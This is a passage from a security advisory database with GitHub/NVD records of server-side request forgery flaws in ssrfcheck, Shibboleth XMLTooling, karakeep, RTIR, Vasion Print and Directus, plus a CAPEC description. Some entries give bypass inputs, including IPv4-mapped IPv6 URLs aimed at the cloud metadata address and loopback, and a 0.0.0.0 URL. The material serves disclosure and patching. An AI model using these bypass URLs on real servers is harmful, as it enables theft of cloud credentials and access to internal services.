(vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) \u2014 complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js \u003e= 10 (WHATWG URL parser enabled \u2014 all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version \u003e= 10.\n\n\n## Weaknesses\n\n**CWE-918** \u2014 Server-Side Request Forgery (SSRF)\n**CWE-184** \u2014 Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node\u0027s built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n- return /^::$/.test(ip) ||\n- /^::1$/.test(ip) ||\n- /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n- /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n- ...\n- }\n\n+ const { BlockList } = require(\u0027net\u0027);\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress(\u0027::\u0027, \u0027ipv6\u0027); // unspecified\n+ _ipv6Block.addAddress(\u0027::1\u0027, \u0027ipv6\u0027); // loopback\n+ _ipv6Block.addSubnet(\u0027::ffff:0:0\u0027, 96, \u0027ipv6\u0027); // ALL IPv4-mapped \u2014 catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet(\u002764:ff9b::\u0027, 96, \u0027ipv6\u0027); // NAT64\n+ _ipv6Block.addSubnet(\u0027fc00::\u0027, 7, \u0027ipv6\u0027); // ULA\n+ _ipv6Block.addSubnet(\u0027fe80::\u0027, 10, \u0027ipv6\u0027); // link-local\n+ _ipv6Block.addSubnet(\u0027ff00::\u0027, 8, \u0027ipv6\u0027); // multicast\n+ _ipv6Block.addSubnet(\u0027100::\u0027, 64, \u0027ipv6\u0027); // IETF reserved\n+ _ipv6Block.addSubnet(\u00272001::\u0027, 32, \u0027ipv6\u0027); // Teredo\n+ _ipv6Block.addSubnet(\u00272001:db8::\u0027, 32, \u0027ipv6\u0027); // documentation\n+ _ipv6Block.addSubnet(\u00272002::\u0027, 16, \u0027ipv6\u0027); // 6to4\n+\n+ function privIp6(ip) {\n+ try { return _ipv6Block.check(ip, \u0027ipv6\u0027); }\n+ catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.",
"id": "GHSA-j4rj-2jr5-m439",
"modified": "2026-05-13T16:26:31Z",
"published": "2026-05-05T20:29:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43929"
},
{
"type": "PACKAGE",
"url": "https://github.com/felippe-regazio/ssrfcheck"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs"
}
GHSA-J522-236P-WX5G
Vulnerability from github – Published: 2023-06-26 00:30 – Updated: 2024-04-04 05:09Shibboleth XMLTooling before 3.2.4, as used in OpenSAML and Shibboleth Service Provider, allows SSRF via a crafted KeyInfo element. (This is fixed in, for example, Shibboleth Service Provider 3.4.1.3 on Windows.)
{
"affected": [],
"aliases": [
"CVE-2023-36661"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-25T22:15:21Z",
"severity": "HIGH"
},
"details": "Shibboleth XMLTooling before 3.2.4, as used in OpenSAML and Shibboleth Service Provider, allows SSRF via a crafted KeyInfo element. (This is fixed in, for example, Shibboleth Service Provider 3.4.1.3 on Windows.)",
"id": "GHSA-j522-236p-wx5g",
"modified": "2024-04-04T05:09:14Z",
"published": "2023-06-26T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36661"
},
{
"type": "WEB",
"url": "https://shibboleth.net/community/advisories/secadv_20230612.txt"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5432"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J566-3Q9F-X476
Vulnerability from github – Published: 2025-10-14 21:30 – Updated: 2025-10-15 21:31karakeep v0.26.0 to v0.7.0 was discovered to contain a Server-Side Request Forgery (SSRF).
{
"affected": [],
"aliases": [
"CVE-2025-60540"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T20:15:51Z",
"severity": "MODERATE"
},
"details": "karakeep v0.26.0 to v0.7.0 was discovered to contain a Server-Side Request Forgery (SSRF).",
"id": "GHSA-j566-3q9f-x476",
"modified": "2025-10-15T21:31:40Z",
"published": "2025-10-14T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60540"
},
{
"type": "WEB",
"url": "https://github.com/karakeep-app/karakeep"
},
{
"type": "WEB",
"url": "https://github.com/vityuasd/VulList/blob/main/CVE-2025-60540.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J59R-M36G-G64F
Vulnerability from github – Published: 2022-07-15 00:00 – Updated: 2022-07-21 00:00Best Practical RT for Incident Response (RTIR) before 4.0.3 and 5.x before 5.0.3 allows SSRF via Scripted Action tools.
{
"affected": [],
"aliases": [
"CVE-2022-25801"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-14T12:15:00Z",
"severity": "CRITICAL"
},
"details": "Best Practical RT for Incident Response (RTIR) before 4.0.3 and 5.x before 5.0.3 allows SSRF via Scripted Action tools.",
"id": "GHSA-j59r-m36g-g64f",
"modified": "2022-07-21T00:00:35Z",
"published": "2022-07-15T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25801"
},
{
"type": "WEB",
"url": "https://docs.bestpractical.com/release-notes/rtir/4.0.3"
},
{
"type": "WEB",
"url": "https://docs.bestpractical.com/release-notes/rtir/5.0.3"
},
{
"type": "WEB",
"url": "https://docs.bestpractical.com/release-notes/rtir/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J5GM-H223-JXQ7
Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/installApp.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer’s host name in the variable $printer_vo->str_host_address. The code later builds a URL like 'http://:80/DevMgmt/DiscoveryTree.xml' and sends the request with curl. No validation, whitelist, or private‑network filtering is performed before the request is made. Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.
{
"affected": [],
"aliases": [
"CVE-2025-34229"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-29T21:15:36Z",
"severity": "MODERATE"
},
"details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102\u00a0and Application prior to version 25.1.1413\u00a0(VA/SaaS deployments) contain a\u00a0blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/installApp.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer\u2019s host name in the variable\u202f$printer_vo-\u003estr_host_address. The code later builds a URL like \u0027http://\u003chost\u2011address\u003e:80/DevMgmt/DiscoveryTree.xml\u0027 and sends the request with curl. No validation, whitelist, or private\u2011network filtering is performed before the request is made.\u00a0Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
"id": "GHSA-j5gm-h223-jxq7",
"modified": "2025-10-09T18:30:27Z",
"published": "2025-09-29T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34229"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-ssrf-05"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-ssrf-via-hp-update-php-script"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J5H6-VQC3-PHQH
Vulnerability from github – Published: 2026-07-20 21:47 – Updated: 2026-07-20 21:47Summary
The SSRF protection on Directus's file-import-from-URL feature can be bypassed using the address 0.0.0.0. While 127.0.0.1 and other internal addresses are denied, 0.0.0.0 is not added to the blocklist. On Linux and macOS, connecting to 0.0.0.0 reaches localhost, so an authenticated user with file-upload rights can make the server fetch internal services and retrieve the response as a downloadable file (full-read SSRF).
Affected Versions
- Affected: Directus
<= 12.0.0(confirmed ondirectus/directus:latest, v11.17.3, with default configuration) - Patched: Directus
>= 12.0.0
Details
Directus uses a deny-list config, IMPORT_IP_DENY_LIST, whose default value is ['0.0.0.0', '169.254.169.254'].
The issue is in how api/src/request/is-denied-ip.ts processes this list. When it encounters the entry 0.0.0.0, it treats it as a special keyword meaning "block all local network interfaces," but it never blocks the literal address 0.0.0.0 itself. The handler sets the network-interface flag and skips to the next entry without adding 0.0.0.0 to the blocklist.
What actually gets blocked is the loopback subnet 127.0.0.0/8 (from the lo interface) plus whatever addresses are assigned to the machine's network interfaces. The address 0.0.0.0 is not inside 127.0.0.0/8; it belongs to the separate 0.0.0.0/8 range. So a request to http://0.0.0.0:8055/ passes the blocklist check as "allowed."
At the OS level, however, connecting to 0.0.0.0 reaches localhost, functionally equivalent to 127.0.0.1. The same gap applies to the IPv6 unspecified address ::. As a result, the SSRF protection is bypassed.
Impact
An authenticated user with create permission on directus_files (file-upload rights) can make the server issue requests to its own localhost via the /files/import endpoint. The response body is stored as a downloadable file, making this a full-read SSRF. On bare-metal or single-host deployments, this can reach databases, caches, and internal APIs bound to localhost. This bypass defeats the protections tracked as CVE-2026-35409 and CVE-2024-46990.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61835"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:47:17Z",
"nvd_published_at": "2026-07-15T15:16:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe SSRF protection on Directus\u0027s file-import-from-URL feature can be bypassed using the address `0.0.0.0`. While `127.0.0.1` and other internal addresses are denied, `0.0.0.0` is not added to the blocklist. On Linux and macOS, connecting to `0.0.0.0` reaches localhost, so an authenticated user with file-upload rights can make the server fetch internal services and retrieve the response as a downloadable file (full-read SSRF).\n\n### Affected Versions\n\n- **Affected:** Directus `\u003c= 12.0.0` (confirmed on `directus/directus:latest`, v11.17.3, with default configuration)\n- **Patched:** Directus `\u003e= 12.0.0`\n\n### Details\n\nDirectus uses a deny-list config, `IMPORT_IP_DENY_LIST`, whose default value is `[\u00270.0.0.0\u0027, \u0027169.254.169.254\u0027]`.\n\nThe issue is in how `api/src/request/is-denied-ip.ts` processes this list. When it encounters the entry `0.0.0.0`, it treats it as a special keyword meaning \"block all local network interfaces,\" but it never blocks the literal address `0.0.0.0` itself. The handler sets the network-interface flag and skips to the next entry without adding `0.0.0.0` to the blocklist.\n\nWhat actually gets blocked is the loopback subnet `127.0.0.0/8` (from the `lo` interface) plus whatever addresses are assigned to the machine\u0027s network interfaces. The address `0.0.0.0` is not inside `127.0.0.0/8`; it belongs to the separate `0.0.0.0/8` range. So a request to `http://0.0.0.0:8055/` passes the blocklist check as \"allowed.\"\n\nAt the OS level, however, connecting to `0.0.0.0` reaches localhost, functionally equivalent to `127.0.0.1`. The same gap applies to the IPv6 unspecified address `::`. As a result, the SSRF protection is bypassed.\n\n### Impact\n\nAn authenticated user with create permission on `directus_files` (file-upload rights) can make the server issue requests to its own localhost via the `/files/import` endpoint. The response body is stored as a downloadable file, making this a full-read SSRF. On bare-metal or single-host deployments, this can reach databases, caches, and internal APIs bound to localhost. This bypass defeats the protections tracked as CVE-2026-35409 and CVE-2024-46990.",
"id": "GHSA-j5h6-vqc3-phqh",
"modified": "2026-07-20T21:47:17Z",
"published": "2026-07-20T21:47:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-j5h6-vqc3-phqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61835"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/pull/27606"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/f75b25fa44b05c6022b20f231c20bc6e50f021d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/releases/tag/v12.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directus: SSRF Protection Bypass via 0.0.0.0 in File Import"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.